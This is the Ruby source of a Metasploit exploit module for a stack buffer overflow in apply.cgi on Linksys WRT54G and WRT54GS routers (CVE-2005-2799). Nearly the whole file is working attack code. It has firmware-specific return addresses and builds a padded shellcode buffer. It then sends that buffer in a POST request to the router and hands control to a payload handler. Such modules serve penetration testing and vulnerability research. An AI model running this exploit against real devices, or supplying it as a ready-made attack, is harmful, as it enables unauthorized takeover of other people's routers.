100 lines
3.5 KiB
Ruby
100 lines
3.5 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Linksys WRT54 Access Point apply.cgi Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in apply.cgi on the Linksys WRT54G and WRT54GS routers.
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According to iDefense who discovered this vulnerability, all WRT54G versions prior to
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4.20.7 and all WRT54GS version prior to 1.05.2 may be affected.
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},
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'Author' => [ 'Raphael Rigo <devel-metasploit[at]syscall.eu>', 'Julien Tinnes <julien[at]cr0.org>' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2005-2799'],
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[ 'OSVDB', '19389' ],
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[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'],
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],
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'Payload' =>
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{
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#'BadChars' => "\x00",
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'Space' => 10000,
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'DisableNops' => true,
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},
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'Arch' => ARCH_MIPSLE,
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'Platform' => 'linux',
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'Targets' =>
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[
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# the middle of the intersection is our generic address
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#((addrs.map { |n, h| [h["Bufaddr"],n] }.max[0] + addrs.map { |n, h| [h["Bufaddr"],n] }.min[0]+9500)/2).to_s(16)
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[ 'Generic', { 'Bufaddr' => 0x10002b50}],
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[ 'Version 1.42.2', { 'Bufaddr' => 0x100016a8 }],
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[ 'Version 2.02.6beta1', { 'Bufaddr' => 0x10001760 }],
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[ 'Version 2.02.7_ETSI', { 'Bufaddr' => 0x10001634 }],
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[ 'Version 3.03.6', { 'Bufaddr' => 0x10001830 }],
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[ 'Version 4.00.7', { 'Bufaddr' => 0x10001AD8 }],
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[ 'Version 4.20.06', { 'Bufaddr' => 0x10001B50 }],
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],
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'DisclosureDate' => 'Sep 13 2005',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RHOST('192.168.1.1')
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])
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end
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# Approx size of the remaining space in the data segment after our buffer
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DataSegSize = 0x4000
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def exploit
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c = connect
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print_status("Return address at 0x#{target['Bufaddr'].to_s(16)}")
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print_status("Shellcode length: #{payload.encoded.length}")
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addr = [target['Bufaddr']].pack('V')
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# original = "Cache-Control: no-cache\r\nPragma: no-cache\r\nExpires: 0\x00\x00\x00"
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# original += "\x10\xAD\x43\x00\x18\xAD\x43\x00\x70\x3e\x00\x10\x00\x00\x00\x00"
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# Pointers in 2.02.6beta1
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# | BIG BUFFER | Various structs and function pointers | ... | .ctors | .dtors | ... | .got |
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# | <- 10000 -> | **************************** Pad with return address ***********************
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# I know this is horrible :( - On the other side this is very generic :)
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post_data = "\x00"*(10000-payload.encoded.length)+payload.encoded+addr*(DataSegSize/4)
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#post_data = "\x00"*(10000-payload.encoded.length)+payload.encoded+original+addr*2#+"\x24\xad\x43"
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# res = send_request_cgi({ 'uri' => "/apply.cgi",
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# 'method' => 'POST',
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# 'data' => post_data });
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# print_status("Malicious request sent, do_ej should be overwritten")
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req = c.request_cgi({ 'uri' => "/apply.cgi",
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'method' => 'POST',
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'data' => post_data
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})
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c.send_request(req)
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print_status("Mayhem sent")
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# req=c.request_cgi('uri' => '/');
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# c.send_request(req);
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# print_status("do_ej triggered")
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handler
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disconnect
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end
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end
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